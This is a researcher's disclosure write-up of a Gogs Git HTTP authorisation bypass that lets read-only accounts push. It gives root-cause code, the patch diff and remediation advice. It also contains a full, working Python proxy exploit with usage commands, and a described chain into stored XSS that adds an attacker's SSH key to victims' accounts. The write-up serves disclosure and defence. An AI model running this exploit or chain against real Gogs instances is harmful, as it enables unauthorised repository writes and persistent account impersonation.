Skip to content

CVE-2026-52810: Gogs Git HTTP Authorisation Bypass via Service Parameter Confusion

TL;DR

  • Gogs used the client-controlled service query parameter to decide whether a Git smart HTTP request needed read or write access.
  • A user could send a git-receive-pack POST with ?service=git-upload-pack. Gogs checked for read access, then executed the write operation selected by the URL path.
  • This allowed a read-only collaborator to push to a private repository. It also affected public repositories on instances with REQUIRE_SIGNIN_VIEW = true, where any signed-in user passed the read check.
  • I demonstrated an unauthorised push to an unprotected ref and chained it into stored notebook XSS (CVE-2026-52798), which added an SSH key to a victim account.
  • The issue affects Gogs through 0.14.2, is tracked as CVE-2026-52810 and GHSA-wmfg-5p4h-5fw3, and was fixed in 0.14.3.

Summary

Gogs authorised Git smart HTTP requests using one description of the operation, then dispatched them using another. A forged query parameter made a repository push look like a read during the permission check without changing the write handler that eventually ran.

  • CVE: CVE-2026-52810
  • Product: Gogs (gogs/gogs)
  • Vulnerability: Git HTTP Authorisation Bypass via Service Parameter Confusion
  • Affected Versions: <= 0.14.2
  • Fixed In: 0.14.3
  • CVSS Severity: 7.1 (high, assigned by GitHub as CNA)
  • CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
  • Required Privilege: read access to the target repository
  • Advisory: GHSA-wmfg-5p4h-5fw3
  • Reported: May 12, 2026
  • NVD Published: June 24, 2026

Introduction

A while back, Rapid7 published a blog post on CVE-2026-52806, an argument-injection RCE I found in Gogs in March 2026. As the ~~coordinated~~ disclosure date approached, I decided to test out a new AI bug hunting harness called deepsec. Gogs was a bad target in terms of maintainer responsiveness, but was a good target in that I had found a 0day RCE 2 months earlier that was still unpatched.

So, did deepsec re-discover the same vulnerability? Nope, it didn't find any RCE using either Opus 4.6 or GPT 5.4-Cyber. It did find some other security issues though, and I reported three of them. They were all duplicates (get used to it!) but [A]I already made write-ups and PoCs, so figured why not release them? Shout-out to Jorian who was credited on this one, along with some other awesome findings! Anyway, here's the first of three:

Git smart HTTP uses git-upload-pack for fetches and clones, and git-receive-pack for pushes. Gogs usually preserves that distinction. I found one path where its authorisation and dispatch classifications disagreed.

Root Cause Analysis

The vulnerable logic is in internal/route/repo/http.go in Gogs 0.14.2, at commit 5dcb6c64.

A Client-Controlled Access Mode

HTTPContexter decides whether the request is a pull before authenticating and checking repository permissions.

isPull := c.Query("service") == "git-upload-pack" || // [1] The client can force the pull classification.
    strings.HasSuffix(c.Req.URL.Path, "git-upload-pack") ||
    c.Req.Method == "GET"

The first condition at [1] does not limit the query parameter to info/refs. It also accepts service=git-upload-pack on a POST whose path ends in git-receive-pack.

The same boolean then selects the permission checked by Authorize.

mode := database.AccessModeWrite
if isPull {
    mode = database.AccessModeRead // [2] A forged pull classification lowers the required access.
}
if !database.Handle.Permissions().Authorize(c.Req.Context(), authUser.ID, repo.ID, mode, // [3] Gogs checks only the lowered mode.
    database.AccessModeOptions{
        OwnerID: repo.OwnerID,
        Private: repo.IsPrivate,
    },
) {
    askCredentials(c, http.StatusForbidden, "User permission denied")
    return
}

The downgrade at [2] changes the requirement from write to read, and the check at [3] then authorises the user against that lower mode. A read-only collaborator sails through it, even though the body of the request they just sent is a repository push.

The public-repository case follows the same logic. When REQUIRE_SIGNIN_VIEW is enabled, Gogs authenticates users before serving public repositories. Any signed-in account has read access to a public repository, so the forged pull classification also passes there.

The Path Still Selects a Write

The operation itself comes from a separate route table. Its git-receive-pack entry maps a POST to the write handler.

var routes = []struct {
    re      *lazyregexp.Regexp
    method  string
    handler func(serviceHandler)
}{
    {lazyregexp.New("(.*?)/git-upload-pack$"), "POST", serviceUploadPack},
    {lazyregexp.New("(.*?)/git-receive-pack$"), "POST", serviceReceivePack}, // [4] The path selects receive-pack.
    {lazyregexp.New("(.*?)/info/refs$"), "GET", getInfoRefs},
    // ... Additional static Git object routes omitted.
}

At [4], a matching POST is tied directly to serviceReceivePack. The dispatcher performs that match against URL.Path.

func HTTP(c *HTTPContext) {
    for _, route := range routes {
        reqPath := strings.ToLower(c.Req.URL.Path) // [5] URL.Path does not contain the query string.
        m := route.re.FindStringSubmatch(reqPath)
        if m == nil {
            continue
        }
        // ... Remaining dispatch logic omitted.

The forged service parameter is absent from URL.Path, so [5] still matches the receive-pack route. That handler invokes the Git write RPC.

func serviceReceivePack(h serviceHandler) {
    serviceRPC(h, "receive-pack") // [6] Gogs runs git receive-pack after the read check.
}

The call at [6] reaches git receive-pack --stateless-rpc with the submitted pack data. The permission check and the dispatcher have now acted on contradictory descriptions of the same request.

Impact

The bypass exposes the normal capabilities of git receive-pack, subject to Gogs branch protection and any custom hooks that still evaluate the push. An attacker can create branches and tags, update unprotected refs, or delete them. Force-pushing an unprotected branch can replace its visible history and disrupt development, although displaced commits may remain recoverable from clones, reflogs, or uncollected objects.

A read-only account force-pushing master back to an earlier commit through the bypass, rewriting the branch history

The affected access patterns are broader than private repository collaborators.

  • A collaborator with read access to a private or otherwise non-public repository can write to it.
  • On an instance with REQUIRE_SIGNIN_VIEW = true, any signed-in user can write to another user's public repository because public read access is enough to pass the forged check.

Exploitation

The PoC pushes one new branch containing a single throwaway text file, named with a timestamp and some random hex.

Preconditions

  • Gogs 0.14.2 or earlier, with Git over HTTP enabled.
  • The attacker has read access to the target repository and no write access. On an instance running REQUIRE_SIGNIN_VIEW = true, any signed-in account qualifies against any public repository.
  • The destination ref is not covered by branch protection.

Baseline

The attacker account has only Read access to testuser/video-acl-bypass-demo.

The Gogs collaboration settings page showing the attacker account holding only Read permission on the target repository

An ordinary git push origin master from the same account gets HTTP 403 back from Gogs.

An ordinary git push from the read-only account failing with RPC failed; HTTP 403

PoC

The script stands up a loopback HTTP proxy, points git push at it, and rewrites exactly one thing on the way past. It appends service=git-upload-pack to the query string of the git-receive-pack POST. Everything else, including pack generation and the rest of the smart HTTP exchange, is left to the real git client.

#!/usr/bin/env python3
"""Create a new branch through CVE-2026-52810 in Gogs through 0.14.2.

The account must have read access but no write access. The PoC creates one
uniquely named branch and never changes or deletes an existing ref.
"""

import argparse
import base64
import getpass
import os
import secrets
import subprocess
import sys
import tempfile
import threading
from datetime import datetime, timezone
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from pathlib import Path
from urllib.parse import parse_qsl, urlencode, urlsplit, urlunsplit

import requests


HOP_HEADERS = {
    "connection", "content-encoding", "content-length", "expect", "host",
    "keep-alive", "proxy-connection", "te", "trailer", "transfer-encoding",
    "upgrade",
}


class GitProxy(BaseHTTPRequestHandler):
    upstream = ""
    verify_tls = True
    protocol_version = "HTTP/1.1"

    def log_message(self, _format, *_args):
        pass

    def do_GET(self):
        self.forward()

    do_POST = do_GET

    def forward(self):
        if self.headers.get("Transfer-Encoding"):
            self.send_error(501, "Chunked requests are not supported")
            return

        length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(length) if length else None
        target = urlsplit(self.path)
        query = parse_qsl(target.query, keep_blank_values=True)

        if self.command == "POST" and target.path.endswith("/git-receive-pack"):
            query = [(key, value) for key, value in query if key != "service"]
            query.append(("service", "git-upload-pack"))

        path = urlunsplit(("", "", target.path, urlencode(query), ""))
        headers = {
            key: value for key, value in self.headers.items()
            if key.lower() not in HOP_HEADERS
        }
        headers["Accept-Encoding"] = "identity"

        try:
            response = requests.request(
                self.command,
                self.upstream + path,
                data=body,
                headers=headers,
                allow_redirects=False,
                timeout=(10, 120),
                verify=self.verify_tls,
            )
        except requests.RequestException as error:
            self.send_error(502, str(error))
            return

        self.send_response(response.status_code)
        for key, value in response.headers.items():
            if key.lower() not in HOP_HEADERS:
                self.send_header(key, value)
        self.send_header("Content-Length", str(len(response.content)))
        self.end_headers()
        self.wfile.write(response.content)


def git(*args, cwd=None, env=None, check=True):
    result = subprocess.run(
        ["git", *args], cwd=cwd, env=env, text=True, capture_output=True
    )
    if check and result.returncode:
        raise RuntimeError(result.stderr.strip() or result.stdout.strip())
    return result


def arguments():
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("repository", help="target HTTP(S) clone URL ending in .git")
    parser.add_argument("-u", "--username", required=True)
    parser.add_argument(
        "-k", "--insecure", action="store_true",
        help="disable upstream HTTPS certificate verification",
    )
    return parser.parse_args()


def main():
    args = arguments()
    parsed = urlsplit(args.repository.rstrip("/"))
    if parsed.scheme not in {"http", "https"} or not parsed.netloc:
        raise RuntimeError("repository must be an HTTP or HTTPS clone URL")
    if parsed.username or parsed.password:
        raise RuntimeError("do not include credentials in the clone URL")
    if not parsed.path.endswith(".git") or parsed.query or parsed.fragment:
        raise RuntimeError("repository must be a clone URL ending in .git")

    password = os.environ.get("GOGS_PASSWORD")
    if password is None:
        password = getpass.getpass("Gogs password or token: ")

    basic = base64.b64encode(f"{args.username}:{password}".encode()).decode()
    environment = os.environ.copy()
    environment.update({
        "GIT_CONFIG_COUNT": "1",
        "GIT_CONFIG_KEY_0": "http.extraHeader",
        "GIT_CONFIG_VALUE_0": f"Authorization: Basic {basic}",
        "GIT_TERMINAL_PROMPT": "0",
    })
    if args.insecure:
        environment.update({
            "GIT_CONFIG_COUNT": "2",
            "GIT_CONFIG_KEY_1": "http.sslVerify",
            "GIT_CONFIG_VALUE_1": "false",
        })

    suffix = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S")
    suffix += f"-{secrets.token_hex(3)}"
    branch = f"poc/git-http-confusion-{suffix}"
    ref = f"refs/heads/{branch}"

    with tempfile.TemporaryDirectory(prefix="gogs-acl-poc-") as temp:
        root = Path(temp)
        checkout = root / "repository"

        if git("ls-remote", args.repository, ref, env=environment).stdout.strip():
            raise RuntimeError(f"ref already exists: {ref}")

        git("clone", "--quiet", args.repository, str(checkout), env=environment)
        git("checkout", "--quiet", "-b", branch, cwd=checkout)
        git("config", "user.name", "Gogs ACL PoC", cwd=checkout)
        git("config", "user.email", "poc@example.invalid", cwd=checkout)

        proof = checkout / f"gogs-acl-poc-{suffix}.txt"
        proof.write_text(f"CVE-2026-52810 proof created {suffix}\n")
        git("add", proof.name, cwd=checkout)
        git("commit", "--quiet", "-m", "CVE-2026-52810 proof", cwd=checkout)
        commit = git("rev-parse", "HEAD", cwd=checkout).stdout.strip()

        origin = urlunsplit((parsed.scheme, parsed.netloc, "", "", ""))
        handler = type(
            "TargetGitProxy", (GitProxy,),
            {"upstream": origin, "verify_tls": not args.insecure},
        )
        server = ThreadingHTTPServer(("127.0.0.1", 0), handler)
        threading.Thread(target=server.serve_forever, daemon=True).start()
        proxy = f"http://127.0.0.1:{server.server_port}{parsed.path}"

        try:
            pushed = git(
                "-c", "http.postBuffer=10485760", "push", proxy, f"HEAD:{ref}",
                cwd=checkout, env=environment, check=False,
            )
        finally:
            server.shutdown()
            server.server_close()

        if pushed.returncode:
            raise RuntimeError(pushed.stderr.strip() or pushed.stdout.strip())

        remote = git("ls-remote", args.repository, ref, env=environment).stdout.strip()
        if remote != f"{commit}\t{ref}":
            raise RuntimeError(f"push succeeded but the remote ref was {remote!r}")

        print(f"[+] Commit: {commit}")
        print(f"[+] Remote ref: {remote}")
        print("[+] The PoC branch remains on the target repository.")


if __name__ == "__main__":
    try:
        main()
    except (OSError, RuntimeError) as error:
        print(f"[-] {error}", file=sys.stderr)
        sys.exit(1)

Run it against a repository the account can read but not write.

python3 poc.py https://gogs.example/owner/private-repo.git --username readonly-user

The password or token is requested without echo, or supplied through GOGS_PASSWORD. Accounts with two-factor authentication need a token.

Use --insecure when the target uses a self-signed certificate.

Against the official Gogs 0.14.2 image, the PoC created a branch both as a read-only private-repository collaborator and as an unrelated signed-in user with REQUIRE_SIGNIN_VIEW = true.

Here is the result from the private-repository test on 0.14.2.

[+] Commit: 1861e3b4500be1f4a16cff9394435e391f6e86eb
[+] Remote ref: 1861e3b4500be1f4a16cff9394435e391f6e86eb    refs/heads/poc/git-http-confusion-20260815133305-c622f2
[+] The PoC branch remains on the target repository.

The screenshots use the original PoC, whose only relevant difference is that it pushes to master so the result is visible in Gogs.

The research PoC cloning as the read-only attacker, starting the rewriting proxy, and reporting a successful push of pwned.txt to master

Gogs then shows the commit in the repository's history like any other, authored by the account that was never permitted to write to it.

The Gogs commit view showing the poc: bypass write ACL commit adding pwned.txt to the repository

On Gogs 0.14.3, both attempts were rejected with HTTP 403.

Chaining: Read-Only Access to Persistent Impersonation

Gogs 0.14.2 was also carrying a stored XSS in its notebook viewer, and the two chain. The attacker's own Gogs account remains read-only, but the added SSH key lets them act with the victim's repository permissions after one click.

Start by forging ?service=git-upload-pack on the git-receive-pack POST, exactly as above. Gogs authorises the request as a read and then runs it as a write, so you have a push into a repository you were only ever meant to clone.

Use that push to plant an .ipynb file whose markdown cell holds a link with a javascript: destination. Mine is a notebook called report.ipynb, titled Quarterly Report and filled with ordinary pandas boilerplate.

The bypass pushing the notebook to master, printing the view URL and the title the SSH key will be added under

The label matters more than the payload here. Mine reads Load notebook styles, which looks like exactly the sort of thing a notebook viewer would ask you to click, so the UI:R in the CVSS vector is doing less work than it appears to. You are not asking the victim to do something odd. You are asking them to make the page render properly.

report.ipynb rendered in the Gogs file view, titled Quarterly Report with ordinary pandas code, and a link labelled Load notebook styles

Then wait. When a signed-in user opens that notebook, CVE-2026-52798 rebuilds the link into a live anchor after the server-side sanitiser has already approved the content. Clicking it runs the attacker's script in that user's session, on the Gogs origin, carrying their cookies.

From there the payload reads the CSRF token out of the page and POSTs an attacker-controlled public key to /user/settings/ssh.

The victim's Manage SSH Keys page listing the deploy-ci key added by the chained notebook XSS

I picked the SSH key over session theft because it survives logout and password changes.

Gogs writes user keys into authorized_keys behind a forced command with no-pty and all forwarding disabled, so the key does not provide a shell. serv.go accepts exactly three verbs, git-upload-pack, git-upload-archive and git-receive-pack, and re-checks the user's access level on the target repository before running any of them.

So the key impersonates rather than escalates. The attacker gets the victim's own permissions on the victim's own repositories, over Git, for as long as it stays in their settings. Read where they can read, push where they can push. That is still a read-only grant on one repository turning into durable access to everything that account legitimately holds.

Who the victim is decides how far this goes. An ordinary user hands over their own repositories. An administrator hands over every repository on the instance, because that is what their account can reach. Separately from the key, the payload is running in the victim's session while they are on the page, so anything their browser could do to Gogs is available for as long as that lasts. Since step two only needs the notebook to sit somewhere the target will eventually look, the attacker gets to choose who that is.

The final post in this series covers an independent Gogs webhook SSRF, CVE-2026-47267.

Patch Diffing

The fix was developed in PR #8331 and main-branch commit 7c9cf53. Gogs 0.14.3 carries the stable-branch cherry-pick c40d5a4. The patch derives the permission from the path action and consults the query parameter only for the info/refs discovery request, where that parameter is part of the protocol. The fixed http.go is worth reading alongside the 0.14.2 version above.

// internal/route/repo/http.go (gitHTTPIsPull)
+func gitHTTPIsPull(c *macaron.Context, action string) bool {
+   if action == "info/refs" {
+       return c.Query("service") != "git-receive-pack"
+   }
+   return action != "git-receive-pack"
+}

The inline test is then replaced with the path-derived action and the new helper.

// internal/route/repo/http.go (HTTPContexter)
-       isPull := c.Query("service") == "git-upload-pack" ||
-           strings.HasSuffix(c.Req.URL.Path, "git-upload-pack") ||
-           c.Req.Method == "GET"
+       action := gitHTTPAction(c)
+       isPull := gitHTTPIsPull(c, action)

For POST /git-receive-pack?service=git-upload-pack, the action is now git-receive-pack. The helper returns false, Gogs keeps AccessModeWrite, and the read-only account receives HTTP 403. The query string no longer influences authorisation for an RPC POST.

The patch shipped in Gogs 0.14.3 on June 7, 2026.

Remediation

Update to Gogs 0.14.3 or later.

If an immediate update is not possible, disabling Git access over HTTP with DISABLE_HTTP_GIT = true removes this path when SSH-only access is acceptable. Reviewing read-only collaborators and protecting important branches can reduce the practical impact, but neither fixes the authorisation error across every affected repository and ref.

Disclosure Timeline

  • May 12, 2026: Reported privately to Gogs with a PoC as GHSA-c7gj-fpcq-j95c.
  • June 7, 2026: Closed as a duplicate of GHSA-wmfg-5p4h-5fw3, found by Aikido-Security.
  • June 7, 2026: Fix shipped in Gogs 0.14.3, listed in the changelog as "Read-only Git HTTP access could be confused with write access during repository pushes".
  • June 19, 2026: GHSA-wmfg-5p4h-5fw3 published to the GitHub Advisory Database and CVE-2026-52810 assigned, with GitHub as CNA.
  • June 24, 2026: Indexed by NVD.

Conclusion

deepsec never rediscovered the RCE I pointed it at, but it did hand me the missing write primitive for the notebook XSS. A read-only account could plant the file, wait for one click, and leave with an SSH key tied to somebody else's repositories.

References